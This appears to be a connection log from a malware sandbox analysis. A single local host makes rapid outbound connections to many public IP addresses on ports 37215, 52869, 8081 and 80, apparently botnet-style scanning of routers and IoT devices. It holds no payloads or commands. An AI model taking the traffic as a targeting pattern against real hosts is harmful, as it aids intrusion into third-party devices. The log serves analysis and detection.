Jul 20, 2024 23:05:45.245512009 CEST	55240	37215	192.168.2.13	41.166.208.82
Jul 20, 2024 23:05:45.245512009 CEST	52950	8081	192.168.2.13	112.199.16.104
Jul 20, 2024 23:05:45.245779037 CEST	39328	8081	192.168.2.13	77.29.216.190
Jul 20, 2024 23:05:45.246239901 CEST	55328	52869	192.168.2.13	105.38.165.57
Jul 20, 2024 23:05:45.247976065 CEST	35230	80	192.168.2.13	95.70.3.199
Jul 20, 2024 23:05:45.249828100 CEST	45830	8081	192.168.2.13	173.156.2.136
Jul 20, 2024 23:05:45.255063057 CEST	37215	37606	197.90.187.218	192.168.2.13
Jul 20, 2024 23:05:45.255986929 CEST	52869	45876	42.140.137.117	192.168.2.13
Jul 20, 2024 23:05:45.257188082 CEST	45876	52869	192.168.2.13	42.140.137.117
Jul 20, 2024 23:05:45.258138895 CEST	37606	37215	192.168.2.13	197.90.187.218
Jul 20, 2024 23:05:45.259680986 CEST	34076	52869	192.168.2.13	62.80.115.9
Jul 20, 2024 23:05:45.260195017 CEST	52282	37215	192.168.2.13	41.134.249.120
Jul 20, 2024 23:05:45.260346889 CEST	56544	80	192.168.2.13	95.49.113.148
Jul 20, 2024 23:05:45.260346889 CEST	56544	80	192.168.2.13	95.49.113.148
Jul 20, 2024 23:05:45.260443926 CEST	59042	8081	192.168.2.13	218.144.144.73
Jul 20, 2024 23:05:45.262176037 CEST	49916	37215	192.168.2.13	196.191.7.200
Jul 20, 2024 23:05:45.264808893 CEST	52869	34076	62.80.115.9	192.168.2.13
Jul 20, 2024 23:05:45.264856100 CEST	34076	52869	192.168.2.13	62.80.115.9
Jul 20, 2024 23:05:45.265510082 CEST	80	56544	95.49.113.148	192.168.2.13
Jul 20, 2024 23:05:45.265738964 CEST	54496	8081	192.168.2.13	100.216.201.143
Jul 20, 2024 23:05:45.266246080 CEST	8081	59042	218.144.144.73	192.168.2.13
Jul 20, 2024 23:05:45.266253948 CEST	57142	80	192.168.2.13	95.49.113.148
Jul 20, 2024 23:05:45.266299963 CEST	59042	8081	192.168.2.13	218.144.144.73
Jul 20, 2024 23:05:45.266311884 CEST	80	56544	95.49.113.148	192.168.2.13
Jul 20, 2024 23:05:45.266330957 CEST	52194	52869	192.168.2.13	162.187.150.19
Jul 20, 2024 23:05:45.267100096 CEST	37215	52282	41.134.249.120	192.168.2.13
Jul 20, 2024 23:05:45.267435074 CEST	37215	49916	196.191.7.200	192.168.2.13
Jul 20, 2024 23:05:45.267488956 CEST	52282	37215	192.168.2.13	41.134.249.120
Jul 20, 2024 23:05:45.268609047 CEST	46732	37215	192.168.2.13	83.121.211.25
Jul 20, 2024 23:05:45.269316912 CEST	49916	37215	192.168.2.13	196.191.7.200
Jul 20, 2024 23:05:45.270956039 CEST	52869	34076	62.80.115.9	192.168.2.13
Jul 20, 2024 23:05:45.271253109 CEST	8081	54496	100.216.201.143	192.168.2.13
Jul 20, 2024 23:05:45.271289110 CEST	54496	8081	192.168.2.13	100.216.201.143
Jul 20, 2024 23:05:45.271806955 CEST	80	57142	95.49.113.148	192.168.2.13
Jul 20, 2024 23:05:45.271879911 CEST	57142	80	192.168.2.13	95.49.113.148
Jul 20, 2024 23:05:45.272092104 CEST	52869	52194	162.187.150.19	192.168.2.13
Jul 20, 2024 23:05:45.272255898 CEST	52194	52869	192.168.2.13	162.187.150.19
Jul 20, 2024 23:05:45.272324085 CEST	8081	59042	218.144.144.73	192.168.2.13
Jul 20, 2024 23:05:45.273654938 CEST	43532	80	192.168.2.13	95.76.135.22
Jul 20, 2024 23:05:45.273654938 CEST	43532	80	192.168.2.13	95.76.135.22
Jul 20, 2024 23:05:45.273947954 CEST	37215	46732	83.121.211.25	192.168.2.13
Jul 20, 2024 23:05:45.273989916 CEST	46732	37215	192.168.2.13	83.121.211.25
Jul 20, 2024 23:05:45.274177074 CEST	37260	8081	192.168.2.13	96.163.32.157
Jul 20, 2024 23:05:45.274880886 CEST	37215	52282	41.134.249.120	192.168.2.13
Jul 20, 2024 23:05:45.275383949 CEST	37204	37215	192.168.2.13	41.23.223.104
Jul 20, 2024 23:05:45.275523901 CEST	37215	49916	196.191.7.200	192.168.2.13
Jul 20, 2024 23:05:45.276370049 CEST	49916	37215	192.168.2.13	196.191.7.200
Jul 20, 2024 23:05:45.276374102 CEST	34076	52869	192.168.2.13	62.80.115.9
Jul 20, 2024 23:05:45.276391029 CEST	59042	8081	192.168.2.13	218.144.144.73
Jul 20, 2024 23:05:45.276532888 CEST	42512	52869	192.168.2.13	195.235.63.144
Jul 20, 2024 23:05:45.277257919 CEST	80	57142	95.49.113.148	192.168.2.13
Jul 20, 2024 23:05:45.278167963 CEST	43730	8081	192.168.2.13	181.67.231.10
Jul 20, 2024 23:05:45.278397083 CEST	44142	80	192.168.2.13	95.76.135.22
Jul 20, 2024 23:05:45.278449059 CEST	52869	52194	162.187.150.19	192.168.2.13
Jul 20, 2024 23:05:45.278693914 CEST	80	43532	95.76.135.22	192.168.2.13
Jul 20, 2024 23:05:45.279223919 CEST	80	43532	95.76.135.22	192.168.2.13
Jul 20, 2024 23:05:45.279715061 CEST	58896	52869	192.168.2.13	107.96.10.112
Jul 20, 2024 23:05:45.280371904 CEST	57142	80	192.168.2.13	95.49.113.148
Jul 20, 2024 23:05:45.280498981 CEST	52194	52869	192.168.2.13	162.187.150.19
Jul 20, 2024 23:05:45.280535936 CEST	44686	37215	192.168.2.13	197.169.205.203
Jul 20, 2024 23:05:45.281028986 CEST	52282	37215	192.168.2.13	41.134.249.120
Jul 20, 2024 23:05:45.281543970 CEST	45774	80	192.168.2.13	95.30.65.188
Jul 20, 2024 23:05:45.281682014 CEST	45774	80	192.168.2.13	95.30.65.188
Jul 20, 2024 23:05:45.282198906 CEST	37215	37204	41.23.223.104	192.168.2.13
Jul 20, 2024 23:05:45.282217026 CEST	8081	37260	96.163.32.157	192.168.2.13
Jul 20, 2024 23:05:45.282253981 CEST	37204	37215	192.168.2.13	41.23.223.104
Jul 20, 2024 23:05:45.282582045 CEST	52869	42512	195.235.63.144	192.168.2.13
Jul 20, 2024 23:05:45.282705069 CEST	37260	8081	192.168.2.13	96.163.32.157
Jul 20, 2024 23:05:45.282705069 CEST	42512	52869	192.168.2.13	195.235.63.144
Jul 20, 2024 23:05:45.283272982 CEST	50630	8081	192.168.2.13	71.80.64.175
Jul 20, 2024 23:05:45.283746004 CEST	8081	43730	181.67.231.10	192.168.2.13
Jul 20, 2024 23:05:45.283786058 CEST	43730	8081	192.168.2.13	181.67.231.10
Jul 20, 2024 23:05:45.284095049 CEST	80	44142	95.76.135.22	192.168.2.13
Jul 20, 2024 23:05:45.285115957 CEST	52869	58896	107.96.10.112	192.168.2.13
Jul 20, 2024 23:05:45.285118103 CEST	54346	37215	192.168.2.13	174.50.31.231
Jul 20, 2024 23:05:45.285550117 CEST	46396	80	192.168.2.13	95.30.65.188
Jul 20, 2024 23:05:45.285948992 CEST	44142	80	192.168.2.13	95.76.135.22
Jul 20, 2024 23:05:45.286277056 CEST	37215	44686	197.169.205.203	192.168.2.13
Jul 20, 2024 23:05:45.286309958 CEST	44686	37215	192.168.2.13	197.169.205.203
Jul 20, 2024 23:05:45.286748886 CEST	80	45774	95.30.65.188	192.168.2.13
Jul 20, 2024 23:05:45.287003040 CEST	37800	52869	192.168.2.13	81.130.219.80
Jul 20, 2024 23:05:45.287065983 CEST	80	45774	95.30.65.188	192.168.2.13
Jul 20, 2024 23:05:45.287317991 CEST	51850	8081	192.168.2.13	120.170.8.41
Jul 20, 2024 23:05:45.287493944 CEST	58896	52869	192.168.2.13	107.96.10.112
Jul 20, 2024 23:05:45.289215088 CEST	8081	50630	71.80.64.175	192.168.2.13
Jul 20, 2024 23:05:45.289284945 CEST	50630	8081	192.168.2.13	71.80.64.175
Jul 20, 2024 23:05:45.290647984 CEST	37215	54346	174.50.31.231	192.168.2.13
Jul 20, 2024 23:05:45.290688992 CEST	54346	37215	192.168.2.13	174.50.31.231
Jul 20, 2024 23:05:45.290872097 CEST	59526	80	192.168.2.13	95.151.244.207
Jul 20, 2024 23:05:45.291110992 CEST	59526	80	192.168.2.13	95.151.244.207
Jul 20, 2024 23:05:45.291171074 CEST	80	46396	95.30.65.188	192.168.2.13
Jul 20, 2024 23:05:45.291239977 CEST	46396	80	192.168.2.13	95.30.65.188
Jul 20, 2024 23:05:45.292766094 CEST	8081	54496	100.216.201.143	192.168.2.13
Jul 20, 2024 23:05:45.292885065 CEST	34854	52869	192.168.2.13	138.132.215.240
Jul 20, 2024 23:05:45.293090105 CEST	42962	37215	192.168.2.13	197.151.5.99
Jul 20, 2024 23:05:45.294707060 CEST	60152	80	192.168.2.13	95.151.244.207
Jul 20, 2024 23:05:45.294812918 CEST	41860	8081	192.168.2.13	174.65.10.134
Jul 20, 2024 23:05:45.295033932 CEST	8081	51850	120.170.8.41	192.168.2.13
Jul 20, 2024 23:05:45.295156002 CEST	51850	8081	192.168.2.13	120.170.8.41
Jul 20, 2024 23:05:45.295973063 CEST	52869	37800	81.130.219.80	192.168.2.13
Jul 20, 2024 23:05:45.296430111 CEST	54496	8081	192.168.2.13	100.216.201.143
Jul 20, 2024 23:05:45.296436071 CEST	37800	52869	192.168.2.13	81.130.219.80
Jul 20, 2024 23:05:45.298082113 CEST	57062	37215	192.168.2.13	39.102.197.30
Jul 20, 2024 23:05:45.298774958 CEST	39096	52869	192.168.2.13	57.150.87.191
Jul 20, 2024 23:05:45.299527884 CEST	37215	46732	83.121.211.25	192.168.2.13
Jul 20, 2024 23:05:45.299968004 CEST	80	59526	95.151.244.207	192.168.2.13
Jul 20, 2024 23:05:45.300043106 CEST	80	59526	95.151.244.207	192.168.2.13
Jul 20, 2024 23:05:45.300368071 CEST	46732	37215	192.168.2.13	83.121.211.25
Jul 20, 2024 23:05:45.300632000 CEST	35932	80	192.168.2.13	95.86.136.151
Jul 20, 2024 23:05:45.300632000 CEST	35932	80	192.168.2.13	95.86.136.151
Jul 20, 2024 23:05:45.301006079 CEST	50872	8081	192.168.2.13	142.211.36.224
Jul 20, 2024 23:05:45.301153898 CEST	52869	34854	138.132.215.240	192.168.2.13
Jul 20, 2024 23:05:45.301196098 CEST	34854	52869	192.168.2.13	138.132.215.240
Jul 20, 2024 23:05:45.302654028 CEST	37215	42962	197.151.5.99	192.168.2.13
Jul 20, 2024 23:05:45.302700043 CEST	42962	37215	192.168.2.13	197.151.5.99
Jul 20, 2024 23:05:45.302880049 CEST	80	60152	95.151.244.207	192.168.2.13
Jul 20, 2024 23:05:45.302890062 CEST	8081	41860	174.65.10.134	192.168.2.13
Jul 20, 2024 23:05:45.302912951 CEST	60152	80	192.168.2.13	95.151.244.207
Jul 20, 2024 23:05:45.303131104 CEST	41860	8081	192.168.2.13	174.65.10.134
Jul 20, 2024 23:05:45.303981066 CEST	36566	80	192.168.2.13	95.86.136.151
Jul 20, 2024 23:05:45.304202080 CEST	37215	57062	39.102.197.30	192.168.2.13
Jul 20, 2024 23:05:45.304294109 CEST	53674	37215	192.168.2.13	41.166.221.172
Jul 20, 2024 23:05:45.304650068 CEST	52869	39096	57.150.87.191	192.168.2.13
Jul 20, 2024 23:05:45.304702044 CEST	57062	37215	192.168.2.13	39.102.197.30
Jul 20, 2024 23:05:45.304702044 CEST	39096	52869	192.168.2.13	57.150.87.191
Jul 20, 2024 23:05:45.305646896 CEST	60188	52869	192.168.2.13	92.253.193.163
Jul 20, 2024 23:05:45.306535959 CEST	80	35932	95.86.136.151	192.168.2.13
Jul 20, 2024 23:05:45.306540012 CEST	80	35932	95.86.136.151	192.168.2.13
Jul 20, 2024 23:05:45.306654930 CEST	8081	50872	142.211.36.224	192.168.2.13
Jul 20, 2024 23:05:45.306857109 CEST	37215	37204	41.23.223.104	192.168.2.13
Jul 20, 2024 23:05:45.309226990 CEST	8081	43730	181.67.231.10	192.168.2.13
Jul 20, 2024 23:05:45.309762001 CEST	80	36566	95.86.136.151	192.168.2.13
Jul 20, 2024 23:05:45.309767008 CEST	37215	53674	41.166.221.172	192.168.2.13
Jul 20, 2024 23:05:45.311053038 CEST	8081	37260	96.163.32.157	192.168.2.13
Jul 20, 2024 23:05:45.311419964 CEST	37215	44686	197.169.205.203	192.168.2.13
Jul 20, 2024 23:05:45.311429024 CEST	80	44142	95.76.135.22	192.168.2.13
Jul 20, 2024 23:05:45.311672926 CEST	52869	42512	195.235.63.144	192.168.2.13
Jul 20, 2024 23:05:45.312010050 CEST	52869	58896	107.96.10.112	192.168.2.13
Jul 20, 2024 23:05:45.312030077 CEST	8081	50630	71.80.64.175	192.168.2.13
Jul 20, 2024 23:05:45.312724113 CEST	37215	54346	174.50.31.231	192.168.2.13
Jul 20, 2024 23:05:45.313164949 CEST	52869	60188	92.253.193.163	192.168.2.13
Jul 20, 2024 23:05:45.313174009 CEST	80	46396	95.30.65.188	192.168.2.13
Jul 20, 2024 23:05:45.314112902 CEST	8081	51850	120.170.8.41	192.168.2.13
Jul 20, 2024 23:05:45.314951897 CEST	52869	37800	81.130.219.80	192.168.2.13
Jul 20, 2024 23:05:45.316473007 CEST	52869	34854	138.132.215.240	192.168.2.13
Jul 20, 2024 23:05:45.316732883 CEST	37215	42962	197.151.5.99	192.168.2.13
Jul 20, 2024 23:05:45.317321062 CEST	80	60152	95.151.244.207	192.168.2.13
Jul 20, 2024 23:05:45.318097115 CEST	8081	41860	174.65.10.134	192.168.2.13
Jul 20, 2024 23:05:45.321118116 CEST	37215	57062	39.102.197.30	192.168.2.13
Jul 20, 2024 23:05:45.321758986 CEST	52869	39096	57.150.87.191	192.168.2.13
Jul 20, 2024 23:05:45.331829071 CEST	50872	8081	192.168.2.13	142.211.36.224
Jul 20, 2024 23:05:45.376607895 CEST	37204	37215	192.168.2.13	41.23.223.104
Jul 20, 2024 23:05:45.417673111 CEST	36566	80	192.168.2.13	95.86.136.151
Jul 20, 2024 23:05:45.417673111 CEST	51850	8081	192.168.2.13	120.170.8.41
Jul 20, 2024 23:05:45.424751043 CEST	80	36566	95.86.136.151	192.168.2.13
Jul 20, 2024 23:05:45.426376104 CEST	46396	80	192.168.2.13	95.30.65.188
Jul 20, 2024 23:05:45.428178072 CEST	43730	8081	192.168.2.13	181.67.231.10
Jul 20, 2024 23:05:45.446929932 CEST	41860	8081	192.168.2.13	174.65.10.134
Jul 20, 2024 23:05:45.454586983 CEST	34854	52869	192.168.2.13	138.132.215.240
Jul 20, 2024 23:05:45.460568905 CEST	54612	8081	192.168.2.13	91.155.31.222
Jul 20, 2024 23:05:45.464221954 CEST	53674	37215	192.168.2.13	41.166.221.172
Jul 20, 2024 23:05:45.464221954 CEST	44686	37215	192.168.2.13	197.169.205.203
Jul 20, 2024 23:05:45.470587015 CEST	8081	54612	91.155.31.222	192.168.2.13
Jul 20, 2024 23:05:45.475822926 CEST	36566	80	192.168.2.13	95.86.136.151
Jul 20, 2024 23:05:45.477554083 CEST	60188	52869	192.168.2.13	92.253.193.163
Jul 20, 2024 23:05:45.477554083 CEST	54346	37215	192.168.2.13	174.50.31.231
Jul 20, 2024 23:05:45.477554083 CEST	42962	37215	192.168.2.13	197.151.5.99
Jul 20, 2024 23:05:45.491954088 CEST	52869	60188	92.253.193.163	192.168.2.13
Jul 20, 2024 23:05:45.497917891 CEST	50630	8081	192.168.2.13	71.80.64.175
Jul 20, 2024 23:05:45.497917891 CEST	44142	80	192.168.2.13	95.76.135.22
Jul 20, 2024 23:05:45.511792898 CEST	39096	52869	192.168.2.13	57.150.87.191
Jul 20, 2024 23:05:45.511792898 CEST	57062	37215	192.168.2.13	39.102.197.30
Jul 20, 2024 23:05:45.513854027 CEST	42512	52869	192.168.2.13	195.235.63.144
Jul 20, 2024 23:05:45.513854027 CEST	37260	8081	192.168.2.13	96.163.32.157
Jul 20, 2024 23:05:45.523888111 CEST	60152	80	192.168.2.13	95.151.244.207
Jul 20, 2024 23:05:45.525127888 CEST	80	60152	95.151.244.207	192.168.2.13
Jul 20, 2024 23:05:45.525177956 CEST	52869	37800	81.130.219.80	192.168.2.13
Jul 20, 2024 23:05:45.525223017 CEST	52869	58896	107.96.10.112	192.168.2.13
Jul 20, 2024 23:05:45.525645018 CEST	58718	80	192.168.2.13	95.30.192.216
Jul 20, 2024 23:05:45.525645018 CEST	58718	80	192.168.2.13	95.30.192.216
Jul 20, 2024 23:05:45.528665066 CEST	58274	8081	192.168.2.13	148.182.95.161
Jul 20, 2024 23:05:45.529299021 CEST	59364	80	192.168.2.13	95.30.192.216
Jul 20, 2024 23:05:45.529409885 CEST	8081	59900	37.80.33.132	192.168.2.13
Jul 20, 2024 23:05:45.530018091 CEST	80	56812	95.5.44.224	192.168.2.13
Jul 20, 2024 23:05:45.530200958 CEST	56812	80	192.168.2.13	95.5.44.224
Jul 20, 2024 23:05:45.531538010 CEST	80	58718	95.30.192.216	192.168.2.13
Jul 20, 2024 23:05:45.531563997 CEST	80	58718	95.30.192.216	192.168.2.13
Jul 20, 2024 23:05:45.532500982 CEST	37800	52869	192.168.2.13	81.130.219.80
Jul 20, 2024 23:05:45.535423040 CEST	8081	58274	148.182.95.161	192.168.2.13
Jul 20, 2024 23:05:45.535496950 CEST	58274	8081	192.168.2.13	148.182.95.161
Jul 20, 2024 23:05:45.535540104 CEST	80	59364	95.30.192.216	192.168.2.13
Jul 20, 2024 23:05:45.537815094 CEST	59364	80	192.168.2.13	95.30.192.216
Jul 20, 2024 23:05:45.539693117 CEST	58896	52869	192.168.2.13	107.96.10.112
Jul 20, 2024 23:05:45.543284893 CEST	33956	52869	192.168.2.13	52.254.116.53
Jul 20, 2024 23:05:45.549410105 CEST	33502	80	192.168.2.13	95.151.14.251
Jul 20, 2024 23:05:45.549410105 CEST	33502	80	192.168.2.13	95.151.14.251
Jul 20, 2024 23:05:45.552489042 CEST	33106	37215	192.168.2.13	89.97.7.223
Jul 20, 2024 23:05:45.554405928 CEST	36624	80	192.168.2.13	95.194.121.234
Jul 20, 2024 23:05:45.554766893 CEST	38066	8081	192.168.2.13	20.129.231.127
Jul 20, 2024 23:05:45.558226109 CEST	43100	80	192.168.2.13	95.50.4.30
Jul 20, 2024 23:05:45.558226109 CEST	43100	80	192.168.2.13	95.50.4.30
Jul 20, 2024 23:05:45.561876059 CEST	43766	80	192.168.2.13	95.50.4.30
Jul 20, 2024 23:05:45.563600063 CEST	60188	52869	192.168.2.13	92.253.193.163
Jul 20, 2024 23:05:45.566128016 CEST	42822	52869	192.168.2.13	31.5.25.199
Jul 20, 2024 23:05:45.566873074 CEST	41792	8081	192.168.2.13	197.42.114.20
Jul 20, 2024 23:05:45.570336103 CEST	48844	80	192.168.2.13	95.82.15.117
Jul 20, 2024 23:05:45.570400000 CEST	33610	80	192.168.2.13	95.85.44.222
Jul 20, 2024 23:05:45.570425987 CEST	32820	80	192.168.2.13	95.12.88.73
Jul 20, 2024 23:05:45.570425987 CEST	48202	80	192.168.2.13	95.109.0.167
Jul 20, 2024 23:05:45.570425987 CEST	55870	80	192.168.2.13	95.91.176.183
Jul 20, 2024 23:05:45.570497990 CEST	58198	80	192.168.2.13	95.228.200.238
Jul 20, 2024 23:05:45.570497990 CEST	57444	80	192.168.2.13	95.127.71.38
Jul 20, 2024 23:05:45.570497990 CEST	54016	80	192.168.2.13	95.214.250.8
Jul 20, 2024 23:05:45.570597887 CEST	38624	80	192.168.2.13	95.22.148.165
Jul 20, 2024 23:05:45.570998907 CEST	57548	80	192.168.2.13	95.74.67.173
Jul 20, 2024 23:05:45.570998907 CEST	60812	80	192.168.2.13	95.247.168.194
Jul 20, 2024 23:05:45.570998907 CEST	38248	80	192.168.2.13	95.37.52.245
Jul 20, 2024 23:05:45.570998907 CEST	50634	80	192.168.2.13	95.70.247.253
Jul 20, 2024 23:05:45.570998907 CEST	58102	80	192.168.2.13	95.128.116.2
Jul 20, 2024 23:05:45.570998907 CEST	35932	80	192.168.2.13	95.139.27.54
Jul 20, 2024 23:05:45.570998907 CEST	57300	80	192.168.2.13	95.81.214.18
Jul 20, 2024 23:05:45.570998907 CEST	37556	80	192.168.2.13	95.122.50.119
Jul 20, 2024 23:05:45.571366072 CEST	40140	80	192.168.2.13	95.129.69.195
Jul 20, 2024 23:05:45.571366072 CEST	51178	80	192.168.2.13	95.18.187.147
Jul 20, 2024 23:05:45.571366072 CEST	44256	80	192.168.2.13	95.201.16.9
Jul 20, 2024 23:05:45.571366072 CEST	60562	80	192.168.2.13	95.186.32.116
Jul 20, 2024 23:05:45.571366072 CEST	59754	80	192.168.2.13	95.174.198.161
Jul 20, 2024 23:05:45.571366072 CEST	47360	80	192.168.2.13	95.8.43.97
Jul 20, 2024 23:05:45.571366072 CEST	34408	80	192.168.2.13	95.77.7.73
Jul 20, 2024 23:05:45.571366072 CEST	47000	80	192.168.2.13	95.142.27.251
Jul 20, 2024 23:05:45.571918011 CEST	46974	80	192.168.2.13	95.160.145.121
Jul 20, 2024 23:05:45.571918011 CEST	41042	80	192.168.2.13	95.181.116.151
Jul 20, 2024 23:05:45.571918011 CEST	56428	80	192.168.2.13	95.182.20.151
Jul 20, 2024 23:05:45.571918011 CEST	57824	80	192.168.2.13	95.61.59.169
Jul 20, 2024 23:05:45.571918011 CEST	34842	80	192.168.2.13	95.12.205.106
Jul 20, 2024 23:05:45.571918011 CEST	39238	80	192.168.2.13	95.229.250.82
Jul 20, 2024 23:05:45.571918011 CEST	42178	80	192.168.2.13	95.133.102.226
Jul 20, 2024 23:05:45.571918011 CEST	56130	80	192.168.2.13	95.4.226.114
Jul 20, 2024 23:05:45.573951006 CEST	54012	80	192.168.2.13	95.65.111.176
Jul 20, 2024 23:05:45.573951006 CEST	53462	80	192.168.2.13	95.151.87.68
Jul 20, 2024 23:05:45.573951006 CEST	35380	80	192.168.2.13	95.130.82.28
Jul 20, 2024 23:05:45.573951006 CEST	40692	80	192.168.2.13	95.0.24.197
Jul 20, 2024 23:05:45.573951006 CEST	35230	80	192.168.2.13	95.70.3.199
Jul 20, 2024 23:05:45.573951006 CEST	21679	80	192.168.2.13	88.202.20.74
Jul 20, 2024 23:05:45.574070930 CEST	46396	80	192.168.2.13	95.30.65.188
Jul 20, 2024 23:05:45.574070930 CEST	59364	80	192.168.2.13	95.30.192.216
Jul 20, 2024 23:05:45.574070930 CEST	21679	80	192.168.2.13	88.228.94.152
Jul 20, 2024 23:05:45.574070930 CEST	21679	80	192.168.2.13	88.84.95.140
Jul 20, 2024 23:05:45.574071884 CEST	21679	80	192.168.2.13	88.15.1.190
Jul 20, 2024 23:05:45.574071884 CEST	21679	80	192.168.2.13	88.186.65.10
Jul 20, 2024 23:05:45.574071884 CEST	21679	80	192.168.2.13	88.9.35.151
Jul 20, 2024 23:05:45.575211048 CEST	59900	8081	192.168.2.13	37.80.33.132
Jul 20, 2024 23:05:45.575618982 CEST	43960	52869	192.168.2.13	174.221.8.61
Jul 20, 2024 23:05:45.575618982 CEST	35968	80	192.168.2.13	95.194.121.234
Jul 20, 2024 23:05:45.575618982 CEST	35968	80	192.168.2.13	95.194.121.234
Jul 20, 2024 23:05:45.575618982 CEST	48028	37215	192.168.2.13	52.192.132.102
Jul 20, 2024 23:05:45.575618982 CEST	44950	80	192.168.2.13	95.48.33.221
Jul 20, 2024 23:05:45.575618982 CEST	48516	80	192.168.2.13	95.12.175.93
Jul 20, 2024 23:05:45.575618982 CEST	48438	80	192.168.2.13	95.202.16.5
Jul 20, 2024 23:05:45.576715946 CEST	34470	80	192.168.2.13	95.198.148.102
Jul 20, 2024 23:05:45.576715946 CEST	36566	80	192.168.2.13	95.86.136.151
Jul 20, 2024 23:05:45.576715946 CEST	21679	80	192.168.2.13	88.248.96.184
Jul 20, 2024 23:05:45.576715946 CEST	21679	80	192.168.2.13	88.58.240.193
Jul 20, 2024 23:05:45.576715946 CEST	21679	80	192.168.2.13	88.15.81.238
Jul 20, 2024 23:05:45.576716900 CEST	21679	80	192.168.2.13	88.129.77.23
Jul 20, 2024 23:05:45.576716900 CEST	21679	80	192.168.2.13	88.246.145.135
Jul 20, 2024 23:05:45.576716900 CEST	21679	80	192.168.2.13	88.89.243.215
Jul 20, 2024 23:05:45.576973915 CEST	21679	80	192.168.2.13	88.50.234.113
Jul 20, 2024 23:05:45.576973915 CEST	21679	80	192.168.2.13	88.190.206.212
Jul 20, 2024 23:05:45.576973915 CEST	21679	80	192.168.2.13	88.142.90.244
Jul 20, 2024 23:05:45.576973915 CEST	21679	80	192.168.2.13	88.127.15.137
Jul 20, 2024 23:05:45.576973915 CEST	21679	80	192.168.2.13	88.91.80.40
Jul 20, 2024 23:05:45.576973915 CEST	21679	80	192.168.2.13	88.39.210.181
Jul 20, 2024 23:05:45.576973915 CEST	21679	80	192.168.2.13	88.110.30.211
Jul 20, 2024 23:05:45.576973915 CEST	21679	80	192.168.2.13	88.160.247.59
Jul 20, 2024 23:05:45.577594995 CEST	21679	80	192.168.2.13	88.44.64.165
Jul 20, 2024 23:05:45.577594995 CEST	21679	80	192.168.2.13	88.138.59.9
Jul 20, 2024 23:05:45.577594995 CEST	21679	80	192.168.2.13	88.252.66.86
Jul 20, 2024 23:05:45.577594995 CEST	21679	80	192.168.2.13	88.178.135.239
Jul 20, 2024 23:05:45.577594995 CEST	21679	80	192.168.2.13	88.129.98.96
Jul 20, 2024 23:05:45.577594995 CEST	21679	80	192.168.2.13	88.141.165.215
Jul 20, 2024 23:05:45.577594995 CEST	21679	80	192.168.2.13	88.15.209.1
Jul 20, 2024 23:05:45.581151962 CEST	21679	80	192.168.2.13	88.247.16.139
Jul 20, 2024 23:05:45.581151962 CEST	21679	80	192.168.2.13	88.36.117.89
Jul 20, 2024 23:05:45.581151962 CEST	21679	80	192.168.2.13	88.181.98.92
Jul 20, 2024 23:05:45.581151962 CEST	21679	80	192.168.2.13	88.103.238.226
Jul 20, 2024 23:05:45.581151962 CEST	21679	80	192.168.2.13	88.53.231.168
Jul 20, 2024 23:05:45.581151962 CEST	21679	80	192.168.2.13	88.187.148.24
Jul 20, 2024 23:05:45.582611084 CEST	35924	80	192.168.2.13	95.207.7.187
Jul 20, 2024 23:05:45.582611084 CEST	43292	80	192.168.2.13	95.62.175.224
Jul 20, 2024 23:05:45.582611084 CEST	36722	80	192.168.2.13	95.123.38.121
Jul 20, 2024 23:05:45.582611084 CEST	38008	80	192.168.2.13	95.58.237.131
Jul 20, 2024 23:05:45.582611084 CEST	51338	80	192.168.2.13	95.135.233.161
Jul 20, 2024 23:05:45.582611084 CEST	21679	80	192.168.2.13	88.116.249.142
Jul 20, 2024 23:05:45.582611084 CEST	21679	80	192.168.2.13	88.170.102.118
Jul 20, 2024 23:05:45.582611084 CEST	21679	80	192.168.2.13	88.90.9.100
Jul 20, 2024 23:05:45.582882881 CEST	34152	80	192.168.2.13	95.151.14.251
Jul 20, 2024 23:05:45.582882881 CEST	60188	37215	192.168.2.13	41.199.184.127
Jul 20, 2024 23:05:45.582882881 CEST	48822	52869	192.168.2.13	31.155.55.8
Jul 20, 2024 23:05:45.582882881 CEST	58180	8081	192.168.2.13	181.136.205.166
Jul 20, 2024 23:05:45.583755016 CEST	21679	80	192.168.2.13	88.77.250.89
Jul 20, 2024 23:05:45.583755016 CEST	21679	80	192.168.2.13	88.214.226.223
Jul 20, 2024 23:05:45.583755016 CEST	21679	80	192.168.2.13	88.78.147.148
Jul 20, 2024 23:05:45.583755016 CEST	21679	80	192.168.2.13	88.41.157.182
Jul 20, 2024 23:05:45.583755016 CEST	21679	80	192.168.2.13	88.65.34.70
Jul 20, 2024 23:05:45.583755016 CEST	21679	80	192.168.2.13	88.24.181.235
Jul 20, 2024 23:05:45.583755016 CEST	21679	80	192.168.2.13	88.75.122.94
Jul 20, 2024 23:05:45.583755016 CEST	21679	80	192.168.2.13	88.25.68.75
Jul 20, 2024 23:05:45.584151030 CEST	21679	80	192.168.2.13	88.224.144.137
Jul 20, 2024 23:05:45.584151030 CEST	21679	80	192.168.2.13	88.212.189.105
Jul 20, 2024 23:05:45.584151030 CEST	21679	80	192.168.2.13	88.82.171.72
Jul 20, 2024 23:05:45.584151030 CEST	21679	80	192.168.2.13	88.123.15.16
Jul 20, 2024 23:05:45.584151030 CEST	21679	80	192.168.2.13	88.233.173.139
Jul 20, 2024 23:05:45.584151030 CEST	21679	80	192.168.2.13	88.136.82.128
Jul 20, 2024 23:05:45.584151030 CEST	21679	80	192.168.2.13	88.40.14.232
Jul 20, 2024 23:05:45.584151030 CEST	21679	80	192.168.2.13	88.165.168.228
Jul 20, 2024 23:05:45.587662935 CEST	21679	80	192.168.2.13	88.217.34.155
Jul 20, 2024 23:05:45.587662935 CEST	21679	80	192.168.2.13	88.219.215.42
Jul 20, 2024 23:05:45.587662935 CEST	21679	80	192.168.2.13	88.108.216.133
Jul 20, 2024 23:05:45.587662935 CEST	21679	80	192.168.2.13	88.79.126.132
Jul 20, 2024 23:05:45.587662935 CEST	21679	80	192.168.2.13	88.98.186.154
Jul 20, 2024 23:05:45.587663889 CEST	21679	80	192.168.2.13	88.219.90.248
Jul 20, 2024 23:05:45.587663889 CEST	21679	80	192.168.2.13	88.51.82.147
Jul 20, 2024 23:05:45.587663889 CEST	21679	80	192.168.2.13	88.34.50.1
Jul 20, 2024 23:05:45.588803053 CEST	21679	80	192.168.2.13	88.37.39.175
Jul 20, 2024 23:05:45.588803053 CEST	21679	80	192.168.2.13	88.211.191.218
Jul 20, 2024 23:05:45.588803053 CEST	21679	80	192.168.2.13	88.69.96.223
Jul 20, 2024 23:05:45.590507030 CEST	50968	80	192.168.2.13	95.114.134.52
Jul 20, 2024 23:05:45.590507030 CEST	50968	80	192.168.2.13	95.114.134.52
Jul 20, 2024 23:05:45.590507030 CEST	34258	80	192.168.2.13	95.89.249.69
